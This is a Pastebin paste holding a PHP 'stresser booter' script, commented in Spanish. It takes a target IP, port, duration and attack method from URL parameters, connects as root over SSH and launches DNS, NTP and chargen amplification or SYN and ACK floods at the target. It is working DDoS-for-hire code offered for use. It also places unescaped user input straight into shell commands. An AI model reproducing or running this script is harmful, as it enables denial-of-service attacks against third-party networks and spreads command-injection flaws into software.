Advertisement
Guest User

gtrhrthrthsrt

a guest
Sep 27th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.59 KB | None | 0 0
  1. <?php
  2. //Api stresser booter v1.0 by KNZ
  3. ignore_user_abort(true);
  4. set_time_limit(1000);
  5. $server_ip = "uuuuu";
  6. $server_pass = "uuuuu";
  7. $server_user = "root";
  8. $key = $_GET['key'];
  9. $host = $_GET['host'];
  10. $port = intval($_GET['port']);
  11. $time = intval($_GET['time']);
  12. $method = $_GET['method'];
  13. $action = $_GET['action'];
  14. $array = array("ntp","chargen","dns","syn","ack");
  15. $ray = array("putoamo"); //This is your API password.
  16. if (!empty($key)){
  17. }else{
  18. die('Error: No has introducido ninguna KEY!');}
  19. if (in_array($key, $ray)){
  20. }else{
  21. die('Error: KEY incorrecta!');}
  22. if (!empty($time)){
  23. }else{
  24. die('Error: No has introducido ningun tiempo!');}
  25. if (!empty($host)){
  26. }else{
  27. die('Error: No has introducido ninguna IP!');}
  28. if (!empty($method)){
  29. }else{
  30. die('Error: No has seleccionado ningun METODO!');}
  31. if (in_array($method, $array)){
  32. }else{
  33. die('Error: El METODO seleccionado no existe!');}
  34. if ($port > 44405){
  35. die('Error: No existe ningun PUERTO sobre 44405!');}
  36. if ($time > 3600){
  37. die('Error: Has superado el TIEMPO permitido!');}
  38. if(ctype_digit($Time)){
  39. die('Error: Debes introducir un numero para indicar el TIEMPO!');}
  40. if(ctype_digit($Port)){
  41. die('Error: Debes introducir un numero para indicar el PUERTO!');}
  42. if ($method == "dns") { $command = "/var/www/html/amp/dns $host $port /path/to/d.txt 2 -1 $time"; }
  43. if ($method == "chargen") { $command = "/var/www/html/amp/chargen $host $port /path/to/c.txt 2 -1 $time"; }
  44. if ($method == "ntp") { $command = "/var/www/html/amp/ntp $host $port /var/www/html/escaner/ntp_amp_f.txt 2 -1 $time"; }
  45. if ($method == "ack") { $command = "/var/www/html/amp/gem -T0 -h $host -t $time"; }
  46. if ($method == "syn") { $command = "/var/www/html/amp/gem -T3 -h $host -t $time"; }
  47. if ($action == "stop") { $command = "pkill $host -f"; }
  48. if (!function_exists("ssh2_connect")) die("Error: No existe SSH2 en tu servidor!");
  49. if(!($con = ssh2_connect($server_ip, 22))){
  50. echo "Error: Conexion fallida!";
  51. } else {
  52. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  53. echo "Error: Usuario o contrasena incorrecta!.";
  54. } else {
  55.  
  56. if (!($stream = ssh2_exec($con, $command ))) {
  57. echo "Error: Tu servidor no pudo ejecutar tu archivo de metodos ni sus dependencias!";
  58. } else {
  59. stream_set_blocking($stream, false);
  60. $data = "";
  61. while ($buf = fread($stream,4096)) {
  62. $data .= $buf;
  63. }
  64. echo "Ataque enviado!!</br>IP: $host</br>On PUERTO: $port </br>DURACION: $time</br>METODO: $method</br>:)";
  65. fclose($stream);
  66. }
  67. }
  68. }
  69. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement